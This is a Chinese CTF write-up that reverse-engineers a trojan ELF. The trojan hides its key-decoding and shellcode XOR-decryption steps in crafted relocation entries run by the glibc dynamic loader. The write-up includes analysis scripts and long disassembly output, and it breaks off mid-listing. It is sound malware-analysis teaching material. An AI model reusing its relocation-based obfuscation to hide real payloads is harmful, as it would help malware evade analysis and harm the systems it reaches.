被新春赛的一道逆向创死了

一道简单题把👴🏻创死了,看了一天

image-20250130143713648

题目描述:

一个潜伏的木马程序被发现在临时目录,如同曹操身陷华容道。你需要通过逆向分析,找出这个数字迷局的破解之法。

突围密令:
flag{KeyOfDecryptShellcode_Ip_Port}

前置题目是个wordpress插件漏洞,直接拿exp就能getshell,然后在tmp目录有个sh elf文件,拖下来进行逆向分析。

非预期

根据题目描述flag有三部分,分别是shellcode的key、外连的ip和端口。

外层程序很简单,就是一个execve,把内层elf加载到内存去执行,在gdb下直接dump出内层程序即可。

内层程序又是tea、又是sm4、又是迷宫的,看着很唬人,其实啥用没有。

image-20250130144138478

程序调试的时候,gdb里面start,程序直接跑飞,看了init啥也没有,所以程序只能是在ld加载的时候做了手脚。

看重定位表有一堆奇怪的数据:

image-20250130144312289

先不管,直接挂个strace追一下:

image-20250130144447048

有外连,ip和端口直接到手,然后就找key。既然gdb调试不了,但是程序里面又有connect,那👴🏻直接截系统调用:

image-20250130144611195

可以看到执行到connect系统调用的时候,在内存区域已经创建了一块rwx的区域放shellcode,然后在ida里发现:

image-20250130144720596

像是key,直接去gdb里找下0x80b358这块:

image-20250130144813163

发现key,flag到手。但是仍然不知道这个程序的shellcode到底是什么,以及程序到底干了什么事。

预期

可以肯定的是程序使用ld加载,然后利用重定位数据去执行shellcode,所以想弄清楚需要调试下ld。

调试内层ELF

本人使用docker环境调试elf程序,ubuntu18.04,使用的glibc是2.27,解析ELF重定位表的核心函数在sysdeps/x86_64/dl-machine.h中,函数为elf_machine_rela。

image-20250129115857451

ELF 采用 r_info 存储符号索引和重定位类型,ELFW(R_TYPE) 宏用于提取低 32 位的重定位类型。

获取r_type:

const unsigned long int r_type = ELFW(R_TYPE) (reloc->r_info);

处理R_X86_64_RELATIVE重定位:

if (__glibc_unlikely (r_type == R_X86_64_RELATIVE))
{
*reloc_addr = map->l_addr + reloc->r_addend;
}

处理R_X86_64_RELATIVE64

if (__glibc_unlikely (r_type == R_X86_64_RELATIVE64))
*(Elf64_Addr *) reloc_addr = (Elf64_Addr) map->l_addr + reloc->r_addend;

处理R_X86_64_NONE

if (__glibc_unlikely (r_type == R_X86_64_NONE))
return;

符号地址解析:

struct link_map *sym_map = RESOLVE_MAP (&sym, version, r_type);
ElfW(Addr) value = (sym == NULL ? 0 : (ElfW(Addr)) sym_map->l_addr + sym->st_value);

然后根据r_type进行switch:

// ...
switch (r_type) {
// ...
case R_X86_64_GLOB_DAT:
case R_X86_64_JUMP_SLOT:
*reloc_addr = value + reloc->r_addend;
break;
// ...
case R_X86_64_64:
*(Elf64_Addr *) reloc_addr = (Elf64_Addr) value + reloc->r_addend;
break;
// ...
case R_X86_64_IRELATIVE:
value = map->l_addr + reloc->r_addend;
value = ((ElfW(Addr) (*) (void)) value) ();
*reloc_addr = value;
break;
// ...
case R_X86_64_COPY:
memcpy (reloc_addr_arg, (void *) value, MIN (sym->st_size, refsym->st_size));
break;
// ...
case R_X86_64_32:
value += reloc->r_addend;
*(unsigned int *) reloc_addr = value;
break;
// ...
case R_X86_64_PC32:
value += reloc->r_addend - (ElfW(Addr)) reloc_addr;
*(unsigned int *) reloc_addr = value;
break;
// ...
}

readelf -r 输出如下:

image-20250130094826772

根据这个函数对不同类型的处理,可以编写解析脚本:

import re

RELOCATION_MAP = {
"R_X86_64_RELATIVE": lambda offset, symbol, addend: f"mov [0x{offset:x}], 0x{addend:x}",
"R_X86_64_GLOB_DAT": lambda offset, symbol, addend: f"mov [0x{offset:x}], {symbol} + 0x{addend:x}",
"R_X86_64_JUMP_SLOT": lambda offset, symbol, addend: f"mov [0x{offset:x}], {symbol} + 0x{addend:x} ; PLT 解析",
"R_X86_64_IRELATIVE": lambda offset, symbol, addend: f"mov [0x{offset:x}], func(0x{addend:x})",
"R_X86_64_COPY": lambda offset, symbol, addend: f"mov [0x{offset:x}], [{symbol}]",
"R_X86_64_64": lambda offset, symbol, addend: f"mov qword [0x{offset:x}], {symbol} + 0x{addend:x}",
"R_X86_64_32": lambda offset, symbol, addend: f"mov dword [0x{offset:x}], ({symbol} + 0x{addend:x}) & 0xFFFFFFFF",
"R_X86_64_PC32": lambda offset, symbol, addend: f"mov dword [0x{offset:x}], ({symbol} + 0x{addend:x} - 0x{offset:x}) & 0xFFFFFFFF",
}

def parse_readelf_log(file_path):
"""
解析 readelf -r 输出,提取重定位信息,并转换为伪指令。

参数:
file_path (str): 读取 readelf 生成的日志文件路径

返回:
list: 包含 (offset, r_type, symbol, addend) 的元组列表
"""
relocations = []
with open(file_path, "r") as f:
for line in f:
match = re.match(r"([0-9a-fA-F]+)\s+[0-9a-fA-F]+\s+(\S+)\s+([0-9a-fA-F]+)?\s+([\S]+)?\s+\+?\s?([0-9a-fA-F]+)?", line.strip())
if match:
offset = int(match.group(1), 16)
r_type = match.group(2)
symbol = match.group(4) if match.group(4) and match.group(4) != "" else "0"

addend = int(match.group(5), 16) if match.group(5) else 0

relocations.append((offset, r_type, symbol, addend))

return relocations

def generate_assembly(relocations):
assembly_code = []
for offset, r_type, symbol, addend in relocations:
if r_type in RELOCATION_MAP:
assembly_code.append(RELOCATION_MAP[r_type](offset, symbol, addend))
else:
assembly_code.append(f"; Unsupported relocation: {r_type} at {hex(offset)}")

return "\n".join(assembly_code)

relocations = parse_readelf_log("log")
assembly_code = generate_assembly(relocations)

with open("translated_relocations.asm", "w") as f:
f.write(assembly_code)

部分输出如下:

mov [0x405ff0], __libc_start_main@GLIBC_2.2.5 + 0x0
mov [0x405ff8], __gmon_start__ + 0x0
mov [0x80b000], 0x0
mov [0x80b000], 0x0
mov [0x80b000], 0x0
mov [0x80b000], 0x0
mov [0x80b000], 0x0
mov [0x80b000], 0x0
mov [0x80b348], 0x67
mov [0x80b350], 0x6e
mov [0x80b358], 0x6d
mov [0x80b360], 0x61
mov [0x80b368], 0x70
mov [0x80b370], 0x70
mov [0x80b378], 0x69
mov [0x80b380], 0x6c
mov [0x80b388], 0x7a
mov [0x80b390], 0x5c
mov [0x80b398], 0x79
mov [0x80b3a0], 0x6e
mov [0x80b3a8], 0x55
mov [0x80b3b0], 0x7f
mov [0x80b3b8], 0x55
mov [0x80b3c0], 0x67
mov [0x80b3c8], 0x75
mov [0x80b3d0], 0x61
mov [0x80b09c], 0x80b348
mov [0x80b0a4], 0x1
mov [0x80b0cc], [^B]
mov [0x80b000], 0x0
mov [0x80b5d0], 0x80b0cc252c80
mov [0x80b5d8], 0xc3
mov [0x80b0b4], 0x80b5d0
mov [0x80b0ac], 0x1000a0000001a
mov qword [0x80b5d0], ^C + 0x0
mov [0x80b09c], 0x816eb0
mov [0x80b0a4], 0x18
mov [0x80b5d0], [^B]
mov [0x80b09c], 0x80b0cc
mov [0x80b0a4], 0x1
mov [0x80b348], [^B]
mov [0x80b09c], 0x80b350
mov [0x80b0cc], [^B]
mov [0x80b000], 0x0
mov [0x80b720], 0x10080b0cc253480
mov [0x80b728], 0xc3
mov [0x80b0b4], 0x80b720
mov [0x80b0ac], 0x1000a0000001a
mov qword [0x80b720], ^C + 0x0
mov [0x80b09c], 0x816eb0
mov [0x80b0a4], 0x18
mov [0x80b720], [^B]
mov [0x80b09c], 0x80b0cc
mov [0x80b0a4], 0x1
mov [0x80b350], [^B]
mov [0x80b09c], 0x80b358
mov [0x80b0cc], [^B]
mov [0x80b000], 0x0
mov [0x80b870], 0x20080b0cc250480
mov [0x80b878], 0xc3
mov [0x80b0b4], 0x80b870
mov [0x80b0ac], 0x1000a0000001a
# ......

观察输出,可以将伪指令分成2部分。

第一部分—key解密

可以发现的是,有一块伪汇编一直在不断的循环:

# ...
mov [0x80b09c], 0x80b348
mov [0x80b0a4], 0x1
mov [0x80b0cc], [^B]
mov [0x80b000], 0x0
mov [0x80b5d0], 0x80b0cc252c80
mov [0x80b5d8], 0xc3
mov [0x80b0b4], 0x80b5d0
mov [0x80b0ac], 0x1000a0000001a
mov qword [0x80b5d0], ^C + 0x0
mov [0x80b09c], 0x816eb0
mov [0x80b0a4], 0x18
mov [0x80b5d0], [^B]
mov [0x80b09c], 0x80b0cc
mov [0x80b0a4], 0x1
mov [0x80b348], [^B]
# ...

由于不清楚^B的含义,所以要借助于动态调试。

gdb调试脚本:

file /lib64/ld-linux-x86-64.so.2
set args ./evil

symbol-file /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.27.so
directory /usr/src/glibc/glibc-2.27/elf/
directory /usr/src/glibc/glibc-2.27/sysdeps/

b _dl_start
starti

b /usr/src/glibc/glibc-2.27/sysdeps/x86_64/dl-machine.h:458
b /usr/src/glibc/glibc-2.27/sysdeps/x86_64/dl-machine.h:496

image-20250130112734358

通过调试memcpy的参数,可以发现R_X86_64_COPY的调用规则为:

mov [0x80b09c], 0x80b348
mov [0x80b0a4], 0x1
mov [0x80b0cc], [^B] # memcpy(0x80b0cc, 0x80b348, 1)

因此这段汇编块的含义:

# ...
mov [0x80b09c], 0x80b348
mov [0x80b0a4], 0x1
mov [0x80b0cc], [^B] # memcpy(0x80b0cc, 0x80b348, 1)
mov [0x80b000], 0x0
mov [0x80b5d0], 0x80b0cc252c80
mov [0x80b5d8], 0xc3 # 一段汇编
mov [0x80b0b4], 0x80b5d0
mov [0x80b0ac], 0x1000a0000001a
mov qword [0x80b5d0], ^C + 0x0 # 清除这段汇编
mov [0x80b09c], 0x816eb0
mov [0x80b0a4], 0x18
mov [0x80b5d0], [^B] # memcpy(0x80b5d0, 0x816eb0, 0x18)
mov [0x80b09c], 0x80b0cc
mov [0x80b0a4], 0x1
mov [0x80b348], [^B] # memcpy(0x80b348, 0x80b0cc, 0x1)
# ...

因此重点在于搞清楚每一段汇编块中移植的一段汇编代码,但是又无法dump内存,因为每一段汇编块执行完后都会将移植的汇编清除。

写个脚本反汇编第一部分汇编中出现的机器码:

from capstone import *
import re

# 转换为小端序
def transform_to_little_endian(hex_code):
if isinstance(hex_code, str):
hex_code = int(hex_code, base=16)
hex_code = hex_code.to_bytes(8, byteorder='little')
return hex_code.hex()

# 反汇编 x86_64 机器码
def disassemble_x86_64(hex_code, address=0x0):
md = Cs(CS_ARCH_X86, CS_MODE_64)
md.detail = True
binary_code = bytes.fromhex(hex_code) # 转换为二进制数据

for i in md.disasm(binary_code, address):
print(f"0x{i.address:x}:\t{i.mnemonic}\t{i.op_str}")

# 处理第一部分汇编代码
def deal_part1(data):
instructions = []
data = data[0:286]
for i in range(len(data)):
item = data[i].split(' ')
item = list(filter(None, map(str.strip, item)))
# 寻找其中的机器码
for j in item:
if j == 'c3':
instructions.append(list(filter(None, map(str.strip, data[i-1].split(' '))))[-1]) # 将ret指令的上一条加入指令列表
instructions.append(j) # 将ret加入指令列表
return instructions


if __name__ == '__main__':
with open('log', 'r') as f:
data = f.readlines()
instructions = deal_part1(data)
for i in instructions:
if i != 'c3':
disassemble_x86_64(transform_to_little_endian(i))
else:
disassemble_x86_64(i)

输出:

0x0:	sub	byte ptr [0x80b0cc], 0
0x0: ret
0x0: xor byte ptr [0x80b0cc], 1
0x0: ret
0x0: add byte ptr [0x80b0cc], 2
0x0: ret
0x0: add byte ptr [0x80b0cc], 3
0x0: ret
0x0: sub byte ptr [0x80b0cc], 4
0x0: ret
0x0: xor byte ptr [0x80b0cc], 5
0x0: ret
0x0: sub byte ptr [0x80b0cc], 6
0x0: ret
0x0: xor byte ptr [0x80b0cc], 7
0x0: ret
0x0: sub byte ptr [0x80b0cc], 8
0x0: ret
0x0: add byte ptr [0x80b0cc], 9
0x0: ret
0x0: xor byte ptr [0x80b0cc], 0xa
0x0: ret
0x0: xor byte ptr [0x80b0cc], 0xb
0x0: ret
0x0: add byte ptr [0x80b0cc], 0xc
0x0: ret
0x0: xor byte ptr [0x80b0cc], 0xd
0x0: ret
0x0: add byte ptr [0x80b0cc], 0xe
0x0: ret
0x0: xor byte ptr [0x80b0cc], 0xf
0x0: ret
0x0: xor byte ptr [0x80b0cc], 0x10
0x0: ret
0x0: add byte ptr [0x80b0cc], 0x11
0x0: ret

而0x80b0cc一开始存放的是key:

mov [0x80b348], 0x67
mov [0x80b350], 0x6e
mov [0x80b358], 0x6d
mov [0x80b360], 0x61
mov [0x80b368], 0x70
mov [0x80b370], 0x70
mov [0x80b378], 0x69
mov [0x80b380], 0x6c
mov [0x80b388], 0x7a
mov [0x80b390], 0x5c
mov [0x80b398], 0x79
mov [0x80b3a0], 0x6e
mov [0x80b3a8], 0x55
mov [0x80b3b0], 0x7f
mov [0x80b3b8], 0x55
mov [0x80b3c0], 0x67
mov [0x80b3c8], 0x75
mov [0x80b3d0], 0x61
mov [0x80b09c], 0x80b348
mov [0x80b0a4], 0x1
mov [0x80b0cc], [^B] # memcpy(0x80b0cc, 0x80b348, 1)

因此上述汇编是对key做的操作,key解密代码:

key = [0x67,0x6e,0x6d,0x61,0x70,0x70,0x69,0x6c,0x7a,0x5c,0x79,0x6e,0x55,0x7f,0x55,0x67,0x75,0x61]

def add(idx):
global key
key[idx] += idx

def xor(idx):
global key
key[idx] ^= idx

def sub(idx):
global key
key[idx] -= idx

sub(0)
xor(1)
add(2)
add(3)
sub(4)
xor(5)
sub(6)
xor(7)
sub(8)
add(9)
xor(0xa)
xor(0xb)
add(0xc)
xor(0xd)
add(0xe)
xor(0xf)
xor(0x10)
add(0x11)

for i in key:
print(chr(i), end="")

得到key:goodluckresearcher,为flag的第一部分

第二部分—shellcode解密

第二部分也有一个循环代码块形如:

# ...
mov [0x80b000], 0x0
mov [0x80cf20], 0x480080cd40c7c748
mov [0x80cf28], 0x78a0080b348c6c7
mov [0x80cf30], 0xc307880632 # 一段汇编
mov [0x80b0b4], 0x80cf20
mov [0x80b0ac], 0x1000a0000001a
mov qword [0x80cf20], ^C + 0x0 # mov [0x80cf20], 0
mov [0x80b09c], 0x816eb0
mov [0x80b0a4], 0x18
mov [0x80cf20], [^B] # memcpy(0x80cf20, 0x816eb0, 0x18)
# ...

可以看到同第一部分,也是植入汇编后,利用memcpy将其覆盖掉,因此要恢复之前的汇编,还需要编写代码提取,编写函数如下:

# ......

def deal_part2(data):
instructions = []
end_flag = '1000a0000001a'
data = data[303:1234]
for i in range(len(data)):
item = data[i].split(' ')
item = list(filter(None, map(str.strip, item)))
for j in item:
if j == end_flag:
# 将end_flag的前3条指令加入指令列表
instructions.append(list(filter(None, map(str.strip, data[i-4].split(' '))))[-1])
instructions.append(list(filter(None, map(str.strip, data[i-3].split(' '))))[-1])
instructions.append(list(filter(None, map(str.strip, data[i-2].split(' '))))[-1])
return instructions

# ......

转换为汇编指令如下,大致就是一个xor解密的过程:

0x0:	mov	rdi, 0x80cd40
0x0: mov esi, 0x80b348
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd41
0x0: mov esi, 0x80b350
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd42
0x0: mov esi, 0x80b358
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd43
0x0: mov esi, 0x80b360
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd44
0x0: mov esi, 0x80b368
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd45
0x0: mov esi, 0x80b370
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd46
0x0: mov esi, 0x80b378
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd47
0x0: mov esi, 0x80b380
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd48
0x0: mov esi, 0x80b388
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd49
0x0: mov esi, 0x80b390
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd4a
0x0: mov esi, 0x80b398
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd4b
0x0: mov esi, 0x80b3a0
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd4c
0x0: mov esi, 0x80b3a8
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd4d
0x0: mov esi, 0x80b3b0
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd4e
0x0: mov esi, 0x80b3b8
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd4f
0x0: mov esi, 0x80b3c0
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd50
0x0: mov esi, 0x80b3c8
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd51
0x0: mov esi, 0x80b3d0
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd52
0x0: mov esi, 0x80b348
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd53
0x0: mov esi, 0x80b350
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd54
0x0: mov esi, 0x80b358
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd55
0x0: mov esi, 0x80b360
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd56
0x0: mov esi, 0x80b368
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd57
0x0: mov esi, 0x80b370
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd58
0x0: mov esi, 0x80b378
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd59
0x0: mov esi, 0x80b380
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd5a
0x0: mov esi, 0x80b388
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd5b
0x0: mov esi, 0x80b390
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd5c
0x0: mov esi, 0x80b398
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd5d
0x0: mov esi, 0x80b3a0
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd5e
0x0: mov esi, 0x80b3a8
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd5f
0x0: mov esi, 0x80b3b0
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd60
0x0: mov esi, 0x80b3b8
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd61
0x0: mov esi, 0x80b3c0
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd62
0x0: mov esi, 0x80b3c8
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd63
0x0: mov esi, 0x80b3d0
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd64
0x0: mov esi, 0x80b348
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd65
0x0: mov esi, 0x80b350
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd66
0x0: mov esi, 0x80b358
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd67
0x0: mov esi, 0x80b360
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd68
0x0: mov esi, 0x80b368
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd69
0x0: mov esi, 0x80b370
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd6a
0x0: mov esi, 0x80b378
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd6b
0x0: mov esi, 0x80b380
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd6c
0x0: mov esi, 0x80b388
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd6d
0x0: mov esi, 0x80b390
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd6e
0x0: mov esi, 0x80b398
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd6f
0x0: mov esi, 0x80b3a0
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd70
0x0: mov esi, 0x80b3a8
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd71
0x0: mov esi, 0x80b3b0
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd72
0x0: mov esi, 0x80b3b8
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd73
0x0: mov esi, 0x80b3c0
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd74
0x0: mov esi, 0x80b3c8
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd75
0x0: mov esi, 0x80b3d0
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd76
0x0: mov esi, 0x80b348
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd77
0x0: mov esi, 0x80b350
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd78
0x0: mov esi, 0x80b358
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd79
0x0: mov esi, 0x80b360
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd7a
0x0: mov esi, 0x80b368
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd7b
0x0: mov esi, 0x80b370
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd7c
0x0: mov esi, 0x80b378
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd7d
0x0: mov esi, 0x80b380
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd7e
0x0: mov esi, 0x80b388
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd7f
0x0: mov esi, 0x80b390
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd80
0x0: mov esi, 0x80b398
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd81
0x0: mov esi, 0x80b3a0
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd82
0x0: mov esi, 0x80b3a8
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd83
0x0: mov esi, 0x80b3b0
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd84
0x0: mov esi, 0x80b3b8
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd85
0x0: mov esi, 0x80b3c0
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd86
0x0: mov esi, 0x80b3c8
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd87
0x0: mov esi, 0x80b3d0
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd88
0x0: mov esi, 0x80b348
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd89
0x0: mov esi, 0x80b350
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd8a
0x0: mov esi, 0x80b358
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd8b
0x0: mov esi, 0x80b360
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd8c
0x0: mov esi, 0x80b368
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
0x4: ret
0x0: mov rdi, 0x80cd8d
0x0: mov esi, 0x80b370
0x6: mov al, byte ptr [rdi]
0x0: xor al, byte ptr [rsi]
0x2: mov byte ptr [rdi], al
